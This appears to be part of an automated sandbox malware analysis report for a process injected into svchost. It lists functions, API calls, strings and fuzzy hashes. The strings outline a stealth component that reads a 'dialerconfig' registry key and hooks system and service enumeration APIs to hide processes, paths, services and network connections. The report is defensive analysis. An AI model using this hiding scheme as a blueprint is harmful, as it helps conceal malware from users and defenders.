Instruction Fuzzy Hash: CA61DD32B0169087DF54CF9590487ADB3E2FB58BE4F1C8121EE5A87B98DA38D853D720

Non-executed Functions

Function 0000014E41FD2B2C Relevance: 14.3, APIs: 5, Strings: 3, Instructions: 264
stringlibraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNEL32 ref: 0000014E41FD2BD0
lstrlenW.KERNEL32 ref: 0000014E41FD2E0A

Part of subcall function 0000014E41FD199C: OpenProcess.KERNEL32 ref: 0000014E41FD19C2
Part of subcall function 0000014E41FD199C: K32GetModuleFileNameExW.KERNEL32 ref: 0000014E41FD19E0
Part of subcall function 0000014E41FD199C: PathFindFileNameW.SHLWAPI ref: 0000014E41FD19EF
Part of subcall function 0000014E41FD199C: lstrlenW.KERNEL32 ref: 0000014E41FD19FB
Part of subcall function 0000014E41FD199C: StrCpyW.SHLWAPI ref: 0000014E41FD1A0E
Part of subcall function 0000014E41FD199C: CloseHandle.KERNEL32 ref: 0000014E41FD1A1C

GetProcAddress.KERNEL32 ref: 0000014E41FD2BE5

Part of subcall function 0000014E41FD152C: StrCmpIW.SHLWAPI ref: 0000014E41FD155D

Part of subcall function 0000014E41FD3844: StrCmpNIW.SHLWAPI ref: 0000014E41FD385C

StrCmpNIW.SHLWAPI ref: 0000014E41FD2C28
lstrlenW.KERNEL32 ref: 0000014E41FD2D50

Strings

NtQueryObject, xrefs: 0000014E41FD2BDB
ntdll.dll, xrefs: 0000014E41FD2BC9
\Device\Nsi, xrefs: 0000014E41FD2C1B

Memory Dump Source

Source File: 0000003F.00000002.3436526303.0000014E41FD0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000014E41FD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_63_2_14e41fd0000_svchost.jbxd

Similarity

API ID: lstrlen$FileHandleModuleName$AddressCloseFindOpenPathProcProcess
String ID: NtQueryObject$\Device\Nsi$ntdll.dll
API String ID: 2119608203-3850299575
Opcode ID: 9c3d18d3d08cd52b53439cd9635d78b514e0dbb1c6aaf52094b9259375ebc022
Instruction ID: effd1d481dd4490a16ad21cf9b2687bc37b8d46439eecc8b1afc957421dada5b
Opcode Fuzzy Hash: 9c3d18d3d08cd52b53439cd9635d78b514e0dbb1c6aaf52094b9259375ebc022
Instruction Fuzzy Hash: DBB16972310A9086FF649FA5D4587E9A3E5FF44B94F485016EE0A937A4DB35CC42C7A0

Function 0000014E41FD7D90 Relevance: 10.6, APIs: 7, Instructions: 72COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32 ref: 0000014E41FD7DAC
RtlCaptureContext.NTDLL ref: 0000014E41FD7DD9
RtlLookupFunctionEntry.NTDLL ref: 0000014E41FD7DF3
RtlVirtualUnwind.NTDLL ref: 0000014E41FD7E34
IsDebuggerPresent.KERNEL32 ref: 0000014E41FD7E88
SetUnhandledExceptionFilter.KERNEL32 ref: 0000014E41FD7EA9
UnhandledExceptionFilter.KERNEL32 ref: 0000014E41FD7EB4

Memory Dump Source

Source File: 0000003F.00000002.3436526303.0000014E41FD0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000014E41FD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_63_2_14e41fd0000_svchost.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual
String ID:
API String ID: 3140674995-0
Opcode ID: 781d1b9bde8934adc12bfa83d35ad1be64d2520f1bd2f9e02f1b4bb1ea1a0257
Instruction ID: 4a8a08b1cb576b9d78726fe8905b333cbd284622d38cdc1c56e494f92cae6b39
Opcode Fuzzy Hash: 781d1b9bde8934adc12bfa83d35ad1be64d2520f1bd2f9e02f1b4bb1ea1a0257
Instruction Fuzzy Hash: 4B316172305B8489EF609F60E8543EDB3A0FB84758F48412ADA4E87BA4EF38C549C720

Function 0000014E41FDD2A4 Relevance: 9.1, APIs: 6, Instructions: 83COMMON

Download Yara Rule

APIs

RtlCaptureContext.NTDLL ref: 0000014E41FDD31D
RtlLookupFunctionEntry.NTDLL ref: 0000014E41FDD335
RtlVirtualUnwind.NTDLL ref: 0000014E41FDD370
IsDebuggerPresent.KERNEL32 ref: 0000014E41FDD3A9
SetUnhandledExceptionFilter.KERNEL32 ref: 0000014E41FDD3B3
UnhandledExceptionFilter.KERNEL32 ref: 0000014E41FDD3BE

Memory Dump Source

Source File: 0000003F.00000002.3436526303.0000014E41FD0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000014E41FD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_63_2_14e41fd0000_svchost.jbxd

Similarity

API ID: ExceptionFilterUnhandled$CaptureContextDebuggerEntryFunctionLookupPresentUnwindVirtual
String ID:
API String ID: 1239891234-0
Opcode ID: 056b8809331e045eb0ff6df28b8a67c6be047fb713c0be5e5acd4a9b147221bc
Instruction ID: 6ff2dff154542a0378403bbbd0c8e4de9d1707aa7ebe8d406dd5d67eefb56c20
Opcode Fuzzy Hash: 056b8809331e045eb0ff6df28b8a67c6be047fb713c0be5e5acd4a9b147221bc
Instruction Fuzzy Hash: 39313136314F8086DB60CF25E8443EEB3A4FB89764F580116EA9E87BA5DF38C556CB10

Function 0000014E41FD1628 Relevance: 50.9, APIs: 20, Strings: 9, Instructions: 157
registrymemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32 ref: 0000014E41FD1633
HeapAlloc.KERNEL32 ref: 0000014E41FD1642

Part of subcall function 0000014E41FD1268: GetProcessHeap.KERNEL32 ref: 0000014E41FD126E
Part of subcall function 0000014E41FD1268: HeapAlloc.KERNEL32 ref: 0000014E41FD127D
Part of subcall function 0000014E41FD1268: GetProcessHeap.KERNEL32 ref: 0000014E41FD1297
Part of subcall function 0000014E41FD1268: HeapAlloc.KERNEL32 ref: 0000014E41FD12A8

RegOpenKeyExW.ADVAPI32 ref: 0000014E41FD16B2
RegOpenKeyExW.ADVAPI32 ref: 0000014E41FD16DF
RegCloseKey.ADVAPI32 ref: 0000014E41FD16F9
RegOpenKeyExW.ADVAPI32 ref: 0000014E41FD1719
RegCloseKey.ADVAPI32 ref: 0000014E41FD1734
RegOpenKeyExW.ADVAPI32 ref: 0000014E41FD1754
RegCloseKey.ADVAPI32 ref: 0000014E41FD176F
RegOpenKeyExW.ADVAPI32 ref: 0000014E41FD178F
RegCloseKey.ADVAPI32 ref: 0000014E41FD17AA
RegOpenKeyExW.ADVAPI32 ref: 0000014E41FD17CA
RegCloseKey.ADVAPI32 ref: 0000014E41FD17E5
RegOpenKeyExW.ADVAPI32 ref: 0000014E41FD1805
RegCloseKey.ADVAPI32 ref: 0000014E41FD1820
RegOpenKeyExW.ADVAPI32 ref: 0000014E41FD1840
RegCloseKey.ADVAPI32 ref: 0000014E41FD185B
RegOpenKeyExW.ADVAPI32 ref: 0000014E41FD187B
RegCloseKey.ADVAPI32 ref: 0000014E41FD1896
RegCloseKey.ADVAPI32 ref: 0000014E41FD18A0

Part of subcall function 0000014E41FD12BC: RegQueryInfoKeyW.ADVAPI32 ref: 0000014E41FD1319
Part of subcall function 0000014E41FD12BC: GetProcessHeap.KERNEL32 ref: 0000014E41FD1327
Part of subcall function 0000014E41FD12BC: HeapAlloc.KERNEL32 ref: 0000014E41FD1338
Part of subcall function 0000014E41FD12BC: RegEnumValueW.ADVAPI32 ref: 0000014E41FD1397
Part of subcall function 0000014E41FD12BC: GetProcessHeap.KERNEL32 ref: 0000014E41FD13DF
Part of subcall function 0000014E41FD12BC: HeapAlloc.KERNEL32 ref: 0000014E41FD13ED
Part of subcall function 0000014E41FD12BC: GetProcessHeap.KERNEL32 ref: 0000014E41FD140A
Part of subcall function 0000014E41FD12BC: HeapFree.KERNEL32 ref: 0000014E41FD1418
Part of subcall function 0000014E41FD12BC: lstrlenW.KERNEL32 ref: 0000014E41FD1421
Part of subcall function 0000014E41FD12BC: GetProcessHeap.KERNEL32 ref: 0000014E41FD142F
Part of subcall function 0000014E41FD12BC: HeapAlloc.KERNEL32 ref: 0000014E41FD143D

Strings

pid, xrefs: 0000014E41FD1712
udp, xrefs: 0000014E41FD1874
tcp_remote, xrefs: 0000014E41FD1839
paths, xrefs: 0000014E41FD1788
process_names, xrefs: 0000014E41FD174D
tcp_local, xrefs: 0000014E41FD17FE
startup, xrefs: 0000014E41FD16D5
SOFTWARE\dialerconfig, xrefs: 0000014E41FD1692
service_names, xrefs: 0000014E41FD17C3

Memory Dump Source

Source File: 0000003F.00000002.3436526303.0000014E41FD0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000014E41FD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_63_2_14e41fd0000_svchost.jbxd

Similarity

API ID: Heap$CloseOpen$Process$Alloc$EnumFreeInfoQueryValuelstrlen
String ID: SOFTWARE\dialerconfig$paths$pid$process_names$service_names$startup$tcp_local$tcp_remote$udp
API String ID: 106492572-2879589442
Opcode ID: 29d8c56dd48d9a3b38e8b79419d4f3e68f34e96909367841420a970a2341c6d0
Instruction ID: a2090c4e061c94f1704aee29069009e9ac06c7e615b494ced23eb7a84219142a
Opcode Fuzzy Hash: 29d8c56dd48d9a3b38e8b79419d4f3e68f34e96909367841420a970a2341c6d0
Instruction Fuzzy Hash: ED712836318B1486EF10AF61E8886E9A3F5FB84B98F091111DE4E87B39DF38C546C360

Function 0000014E41FD12BC Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 120
memoryregistrystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegQueryInfoKeyW.ADVAPI32 ref: 0000014E41FD1319
GetProcessHeap.KERNEL32 ref: 0000014E41FD1327
HeapAlloc.KERNEL32 ref: 0000014E41FD1338
RegEnumValueW.ADVAPI32 ref: 0000014E41FD1397

Part of subcall function 0000014E41FD152C: StrCmpIW.SHLWAPI ref: 0000014E41FD155D

GetProcessHeap.KERNEL32 ref: 0000014E41FD13DF
HeapAlloc.KERNEL32 ref: 0000014E41FD13ED
GetProcessHeap.KERNEL32 ref: 0000014E41FD140A
HeapFree.KERNEL32 ref: 0000014E41FD1418
lstrlenW.KERNEL32 ref: 0000014E41FD1421
GetProcessHeap.KERNEL32 ref: 0000014E41FD142F
HeapAlloc.KERNEL32 ref: 0000014E41FD143D
StrCpyW.SHLWAPI ref: 0000014E41FD145F
GetProcessHeap.KERNEL32 ref: 0000014E41FD1476
HeapFree.KERNEL32 ref: 0000014E41FD1484

Strings

d, xrefs: 0000014E41FD135A

Memory Dump Source

Source File: 0000003F.00000002.3436526303.0000014E41FD0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000014E41FD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_63_2_14e41fd0000_svchost.jbxd

Similarity

API ID: Heap$Process$Alloc$Free$EnumInfoQueryValuelstrlen
String ID: d
API String ID: 2005889112-2564639436
Opcode ID: 8b653d2a3574a9b9f54f76d34c9bbade1314fe17b6e977058bb62b7e32ce9810
Instruction ID: 013e14f2c87ef41763d25eff144d490c8d2c3adaa6cff7853b3d531281aa9866
Opcode Fuzzy Hash: 8b653d2a3574a9b9f54f76d34c9bbade1314fe17b6e977058bb62b7e32ce9810
Instruction Fuzzy Hash: D5513036708B8886EB55CF62E5483AAB7E1FB89F95F494124DE4A47768DF3CC046C710

Function 0000014E41FD1D14 Relevance: 22.8, APIs: 1, Strings: 12, Instructions: 65
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentThread.KERNEL32 ref: 0000014E41FD1D1F

Part of subcall function 0000014E41FD1FD4: GetModuleHandleA.KERNEL32 ref: 0000014E41FD1FEC
Part of subcall function 0000014E41FD1FD4: GetProcAddress.KERNEL32 ref: 0000014E41FD1FFD

Part of subcall function 0000014E41FD5B30: GetCurrentThreadId.KERNEL32 ref: 0000014E41FD5B6B

Strings

NtDeviceIoControlFile, xrefs: 0000014E41FD1E56
advapi32.dll, xrefs: 0000014E41FD1DF7, 0000014E41FD1E18
NtQueryDirectoryFile, xrefs: 0000014E41FD1D7F
EnumServicesStatusExW, xrefs: 0000014E41FD1E11, 0000014E41FD1E32
EnumServiceGroupW, xrefs: 0000014E41FD1DF0
ntdll.dll, xrefs: 0000014E41FD1D2D
NtQueryDirectoryFileEx, xrefs: 0000014E41FD1D9C
NtResumeThread, xrefs: 0000014E41FD1D62
NtQuerySystemInformation, xrefs: 0000014E41FD1D45
NtEnumerateValueKey, xrefs: 0000014E41FD1DD6
NtEnumerateKey, xrefs: 0000014E41FD1DB9
sechost.dll, xrefs: 0000014E41FD1E39

Memory Dump Source

Source File: 0000003F.00000002.3436526303.0000014E41FD0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000014E41FD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_63_2_14e41fd0000_svchost.jbxd

Similarity

API ID: CurrentThread$AddressHandleModuleProc
String ID: EnumServiceGroupW$EnumServicesStatusExW$NtDeviceIoControlFile$NtEnumerateKey$NtEnumerateValueKey$NtQueryDirectoryFile$NtQueryDirectoryFileEx$NtQuerySystemInformation$NtResumeThread$advapi32.dll$ntdll.dll$sechost.dll
API String ID: 4175298099-1975688563
Opcode ID: 848021bf4701eae64bbfc749c93af06548ec6c37c79a2989ab503d46e0816dd6
Instruction ID: d2164b162b6ae80d87fccfd4c10993e61a433f491f5e0695c4aef27492673104
Opcode Fuzzy Hash: 848021bf4701eae64bbfc749c93af06548ec6c37c79a2989ab503d46e0816dd6
Instruction Fuzzy Hash: 60318274704A4AA0FF04EFA9E8597E4E3A1BF54354F8D5013941A97676AF78C24BC3B0

Function 0000014E41FA6910 Relevance: 21.2, APIs: 8, Strings: 4, Instructions: 230
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 0000014E41FA6938
__scrt_acquire_startup_lock.LIBCMT ref: 0000014E41FA698A
_RTC_Initialize.LIBCMT ref: 0000014E41FA69B8
__scrt_dllmain_after_initialize_c.LIBCMT ref: 0000014E41FA69DE
__scrt_release_startup_lock.LIBCMT ref: 0000014E41FA6A09

Strings

`eh vector vbase copy constructor iterator', xrefs: 0000014E41FA69EE
scriptor', xrefs: 0000014E41FA6B39, 0000014E41FA6BB2, 0000014E41FA6BEC
`dynamic initializer for ', xrefs: 0000014E41FA69C7
`eh vector copy constructor iterator', xrefs: 0000014E41FA6A3B

Memory Dump Source

Source File: 0000003F.00000002.3436459719.0000014E41FA0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000014E41FA0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_63_2_14e41fa0000_svchost.jbxd

Similarity

API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_release_startup_lock
String ID: `dynamic initializer for '$`eh vector copy constructor iterator'$`eh vector vbase copy constructor iterator'$scriptor'
API String ID: 190073905-1786718095
Opcode ID: 0257f947f8d22f27d89668d16c5c48cc6f3519c7a2ac610662f1932688afbc32
Instruction ID: 3e159b189dba1bc57bfc5d577fc7ac4b56b81dc430d962f8f9d12e70aa5f2c50
Opcode Fuzzy Hash: 0257f947f8d22f27d89668d16c5c48cc6f3519c7a2ac610662f1932688afbc32
Instruction Fuzzy Hash: 3C81C03170064286FE90AB6694593D9E3D0FF897E0F5C80259A09C7FB6EB3DC8478720

Function 0000014E41FDCE28 Relevance: 18.1, APIs: 12, Instructions: 112
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetLastError.KERNEL32 ref: 0000014E41FDCE37
FlsGetValue.KERNEL32(?,?,?,0000014E41FE0A6B,?,?,?,0000014E41FE045C,?,?,?,0000014E41FDC84F), ref: 0000014E41FDCE4C
FlsSetValue.KERNEL32(?,?,?,0000014E41FE0A6B,?,?,?,0000014E41FE045C,?,?,?,0000014E41FDC84F), ref: 0000014E41FDCE6D
FlsSetValue.KERNEL32(?,?,?,0000014E41FE0A6B,?,?,?,0000014E41FE045C,?,?,?,0000014E41FDC84F), ref: 0000014E41FDCE9A
FlsSetValue.KERNEL32(?,?,?,0000014E41FE0A6B,?,?,?,0000014E41FE045C,?,?,?,0000014E41FDC84F), ref: 0000014E41FDCEAB
FlsSetValue.KERNEL32(?,?,?,0000014E41FE0A6B,?,?,?,0000014E41FE045C,?,?,?,0000014E41FDC84F), ref: 0000014E41FDCEBC
SetLastError.KERNEL32 ref: 0000014E41FDCED7
FlsGetValue.KERNEL32(?,?,?,?,?,?,?,0000014E41FE0A6B,?,?,?,0000014E41FE045C,?,?,?,0000014E41FDC84F), ref: 0000014E41FDCF0D
FlsSetValue.KERNEL32(?,?,00000001,0000014E41FDECCC,?,?,?,?,0000014E41FDBF9F,?,?,?,?,?,0000014E41FD7AB0), ref: 0000014E41FDCF2C

Part of subcall function 0000014E41FDD6CC: HeapAlloc.KERNEL32 ref: 0000014E41FDD721

FlsSetValue.KERNEL32(?,?,?,?,?,?,?,0000014E41FE0A6B,?,?,?,0000014E41FE045C,?,?,?,0000014E41FDC84F), ref: 0000014E41FDCF54

Part of subcall function 0000014E41FDD744: HeapFree.KERNEL32 ref: 0000014E41FDD75A
Part of subcall function 0000014E41FDD744: GetLastError.KERNEL32 ref: 0000014E41FDD764

FlsSetValue.KERNEL32(?,?,?,?,?,?,?,0000014E41FE0A6B,?,?,?,0000014E41FE045C,?,?,?,0000014E41FDC84F), ref: 0000014E41FDCF65
FlsSetValue.KERNEL32(?,?,?,?,?,?,?,0000014E41FE0A6B,?,?,?,0000014E41FE045C,?,?,?,0000014E41FDC84F), ref: 0000014E41FDCF76

Memory Dump Source

Source File: 0000003F.00000002.3436526303.0000014E41FD0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000014E41FD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_63_2_14e41fd0000_svchost.jbxd

Similarity

API ID: Value$ErrorLast$Heap$AllocFree
String ID:
API String ID: 570795689-0
Opcode ID: 3a29360f60df60adecaf4649f79764fa540e3f9fdfe76bc69ae0b48c7fce8efe
Instruction ID: d05d1a81437cdd74f7d820c0fbdd9315d75b8d778be0daec336e8a8adf9e924f
Opcode Fuzzy Hash: 3a29360f60df60adecaf4649f79764fa540e3f9fdfe76bc69ae0b48c7fce8efe
Instruction Fuzzy Hash: 8141E7B034528441FE69A735955D7F9E3C2BF847B0F1C0B28A92BC66F6EE68D5039230

Function 0000014E41FD2244 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 52
filethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessIdOfThread.KERNEL32 ref: 0000014E41FD2259
GetCurrentProcessId.KERNEL32 ref: 0000014E41FD2263

Part of subcall function 0000014E41FD1934: OpenProcess.KERNEL32 ref: 0000014E41FD1952
Part of subcall function 0000014E41FD1934: IsWow64Process.KERNEL32 ref: 0000014E41FD1968
Part of subcall function 0000014E41FD1934: CloseHandle.KERNEL32 ref: 0000014E41FD1983

CreateFileW.KERNEL32 ref: 0000014E41FD22BC
WriteFile.KERNEL32 ref: 0000014E41FD22E4
ReadFile.KERNEL32 ref: 0000014E41FD2303
CloseHandle.KERNEL32 ref: 0000014E41FD230C

Strings

\\.\pipe\dialerchildproc32, xrefs: 0000014E41FD2293
\\.\pipe\dialerchildproc64, xrefs: 0000014E41FD228C

Memory Dump Source

Source File: 0000003F.00000002.3436526303.0000014E41FD0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000014E41FD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_63_2_14e41fd0000_svchost.jbxd

Similarity

API ID: Process$File$CloseHandle$CreateCurrentOpenReadThreadWow64Write
String ID: \\.\pipe\dialerchildproc32$\\.\pipe\dialerchildproc64
API String ID: 2171963597-1373409510
Opcode ID: d76f145db3bc14c8b60d6abb5b011cd5988a1ad04fc2d4b7169b2a78ec3c4c79
Instruction ID: 7e5f448f2627fb39cf378e58a67f4c7b29978e30c1d81c84a71b5fabbdbaa53a
Opcode Fuzzy Hash: d76f145db3bc14c8b60d6abb5b011cd5988a1ad04fc2d4b7169b2a78ec3c4c79
Instruction Fuzzy Hash: B0213032718B5482FB10CB25E4483A9A7E0FB85BA4F580215DA5A42BB8CF7CC54ACB10

Function 0000014E41FA9944 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 317
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__FrameHandler3::GetHandlerSearchState.LIBVCRUNTIME ref: 0000014E41FA99A1

Part of subcall function 0000014E41FAA814: __GetUnwindTryBlock.LIBCMT ref: 0000014E41FAA857
Part of subcall function 0000014E41FAA814: __SetUnwindTryBlock.LIBVCRUNTIME ref: 0000014E41FAA87C

Is_bad_exception_allowed.LIBVCRUNTIME ref: 0000014E41FA9A79
__FrameHandler3::ExecutionInCatch.LIBVCRUNTIME ref: 0000014E41FA9CCE
std::bad_alloc::bad_alloc.LIBCMT ref: 0000014E41FA9DDA

Strings

csm, xrefs: 0000014E41FA9A22
csm, xrefs: 0000014E41FA99BB
csm, xrefs: 0000014E41FA9A9C

Memory Dump Source

Source File: 0000003F.00000002.3436459719.0000014E41FA0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000014E41FA0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_63_2_14e41fa0000_svchost.jbxd

Similarity

API ID: BlockFrameHandler3::Unwind$CatchExecutionHandlerIs_bad_exception_allowedSearchStatestd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 849930591-393685449
Opcode ID: 65b39982983e806640910362ba4e105e6dc551b6220b15538d356c191c28ac3a
Instruction ID: 092061804e2acfd85856a6fbf8df1efce0ac3395992e54896de2f0b233cc8006
Opcode Fuzzy Hash: 65b39982983e806640910362ba4e105e6dc551b6220b15538d356c191c28ac3a
Instruction Fuzzy Hash: F5E16A72704B408AEF609BA5D4883DDB7E0FB557D8F5C4125EA8997FA5CB38C092C760

Function 0000014E41FDA544 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 317
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__FrameHandler3::GetHandlerSearchState.LIBVCRUNTIME ref: 0000014E41FDA5A1

Part of subcall function 0000014E41FDB414: __GetUnwindTryBlock.LIBCMT ref: 0000014E41FDB457
Part of subcall function 0000014E41FDB414: __SetUnwindTryBlock.LIBVCRUNTIME ref: 0000014E41FDB47C

Is_bad_exception_allowed.LIBVCRUNTIME ref: 0000014E41FDA679
__FrameHandler3::ExecutionInCatch.LIBVCRUNTIME ref: 0000014E41FDA8CE
std::bad_alloc::bad_alloc.LIBCMT ref: 0000014E41FDA9DA

Strings

csm, xrefs: 0000014E41FDA5BB
csm, xrefs: 0000014E41FDA622
csm, xrefs: 0000014E41FDA69C

Memory Dump Source

Source File: 0000003F.00000002.3436526303.0000014E41FD0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000014E41FD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_63_2_14e41fd0000_svchost.jbxd

Similarity

API ID: BlockFrameHandler3::Unwind$CatchExecutionHandlerIs_bad_exception_allowedSearchStatestd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 849930591-393685449
Opcode ID: 186f03c70d0fb8979f980bfcf85fe288d7737d97a0f3839797273e271350e365
Instruction ID: d2352766757894f1e6b2819fe3e7d64d43612c435bf147b291665c758718f4e6
Opcode Fuzzy Hash: 186f03c70d0fb8979f980bfcf85fe288d7737d97a0f3839797273e271350e365
Instruction Fuzzy Hash: 43E16B72704B408AEF60DF6594493EDB7E0FB85B98F180115EE8E97BA9CB34C492C725

Function 0000014E41FDF394 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FreeLibrary.KERNEL32 ref: 0000014E41FDF510
GetProcAddress.KERNEL32 ref: 0000014E41FDF51C

Strings

ext-ms-, xrefs: 0000014E41FDF46D
api-ms-, xrefs: 0000014E41FDF45A

Memory Dump Source

Source File: 0000003F.00000002.3436526303.0000014E41FD0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000014E41FD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_63_2_14e41fd0000_svchost.jbxd

Similarity

API ID: AddressFreeLibraryProc
String ID: api-ms-$ext-ms-
API String ID: 3013587201-537541572
Opcode ID: 978905767b5078ec9de210cf927baa423a0e9cdb829b06631a7440d3a6c0e710
Instruction ID: eccfb42c00e0fcebc11fba8db2cb5dd556603cf0515602b7340d8b3a720e917a
Opcode Fuzzy Hash: 978905767b5078ec9de210cf927baa423a0e9cdb829b06631a7440d3a6c0e710
Instruction Fuzzy Hash: A0418032315A5091FF16CB56E808BE9A3D6BF46BA0F5D42299D0FD77A4EE38C4478360

Function 0000014E41FD104C Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 99memoryregistryCOMMON

Download Yara Rule

APIs

RegQueryInfoKeyW.ADVAPI32 ref: 0000014E41FD10B1
RegEnumValueW.ADVAPI32 ref: 0000014E41FD1117
GetProcessHeap.KERNEL32 ref: 0000014E41FD115A
HeapAlloc.KERNEL32 ref: 0000014E41FD1168
GetProcessHeap.KERNEL32 ref: 0000014E41FD1185
HeapFree.KERNEL32 ref: 0000014E41FD1193

Strings

d, xrefs: 0000014E41FD10D6

Memory Dump Source

Source File: 0000003F.00000002.3436526303.0000014E41FD0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000014E41FD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_63_2_14e41fd0000_svchost.jbxd

Similarity

API ID: Heap$Process$AllocEnumFreeInfoQueryValue
String ID: d
API String ID: 3743429067-2564639436
Opcode ID: 4e806da6bf888755fbf7915dbe23be07e0600cef0dd9ac19d63751155720d402
Instruction ID: dcb51b6df01793caf54422eba4bcf925065baaae7f996ed60d537fcaac24bad6
Opcode Fuzzy Hash: 4e806da6bf888755fbf7915dbe23be07e0600cef0dd9ac19d63751155720d402
Instruction Fuzzy Hash: 4A414233218B84C6EB60CF21E44879EB7E5F789B98F448119DA8A47768DF3CC546CB50

Function 0000014E41FDD068 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 54COMMONLIBRARYCODE

Download Yara Rule

APIs

FlsGetValue.KERNEL32(?,?,?,0000014E41FDC7DE,?,?,?,?,?,?,?,?,0000014E41FDCF9D,?,?,00000001), ref: 0000014E41FDD087
FlsSetValue.KERNEL32(?,?,?,0000014E41FDC7DE,?,?,?,?,?,?,?,?,0000014E41FDCF9D,?,?,00000001), ref: 0000014E41FDD0A6
FlsSetValue.KERNEL32(?,?,?,0000014E41FDC7DE,?,?,?,?,?,?,?,?,0000014E41FDCF9D,?,?,00000001), ref: 0000014E41FDD0CE
FlsSetValue.KERNEL32(?,?,?,0000014E41FDC7DE,?,?,?,?,?,?,?,?,0000014E41FDCF9D,?,?,00000001), ref: 0000014E41FDD0DF
FlsSetValue.KERNEL32(?,?,?,0000014E41FDC7DE,?,?,?,?,?,?,?,?,0000014E41FDCF9D,?,?,00000001), ref: 0000014E41FDD0F0

Strings

1%, xrefs: 0000014E41FDD0CE
Y%, xrefs: 0000014E41FDD0A6

Memory Dump Source

Source File: 0000003F.00000002.3436526303.0000014E41FD0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000014E41FD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_63_2_14e41fd0000_svchost.jbxd

Similarity

API ID: Value
String ID: 1%$Y%
API String ID: 3702945584-1395475152
Opcode ID: eaed261e9eff258ccad1ac5f7a99306e4284ed666e6615725d2dc279c7a103a4
Instruction ID: a9bf51a53c9a1f80fc76c82896e2421d109dbda82caf93dda9c71af6b8fc7838
Opcode Fuzzy Hash: eaed261e9eff258ccad1ac5f7a99306e4284ed666e6615725d2dc279c7a103a4
Instruction Fuzzy Hash: D0111C7070468441FE68A735995D7F9E3C6BF847F0F1C4325A82BC6AFADE68C5039620

Function 0000014E41FD7510 Relevance: 12.2, APIs: 8, Instructions: 230COMMON

Download Yara Rule

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 0000014E41FD7538
__scrt_acquire_startup_lock.LIBCMT ref: 0000014E41FD758A
_RTC_Initialize.LIBCMT ref: 0000014E41FD75B8
__scrt_dllmain_after_initialize_c.LIBCMT ref: 0000014E41FD75DE
__scrt_release_startup_lock.LIBCMT ref: 0000014E41FD7609

Memory Dump Source

Source File: 0000003F.00000002.3436526303.0000014E41FD0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000014E41FD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_63_2_14e41fd0000_svchost.jbxd

Similarity

API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_release_startup_lock
String ID:
API String ID: 190073905-0
Opcode ID: 0257f947f8d22f27d89668d16c5c48cc6f3519c7a2ac610662f1932688afbc32
Instruction ID: a28f0207ded7251b2138ce8eaabf7731b6e17eb6dd1893435d04d01492ed5137
Opcode Fuzzy Hash: 0257f947f8d22f27d89668d16c5c48cc6f3519c7a2ac610662f1932688afbc32
Instruction Fuzzy Hash: D781F271704B418AFF50AB6598493F9E3D0BF85788F5C46169A0ACB7B6EB78C8078730

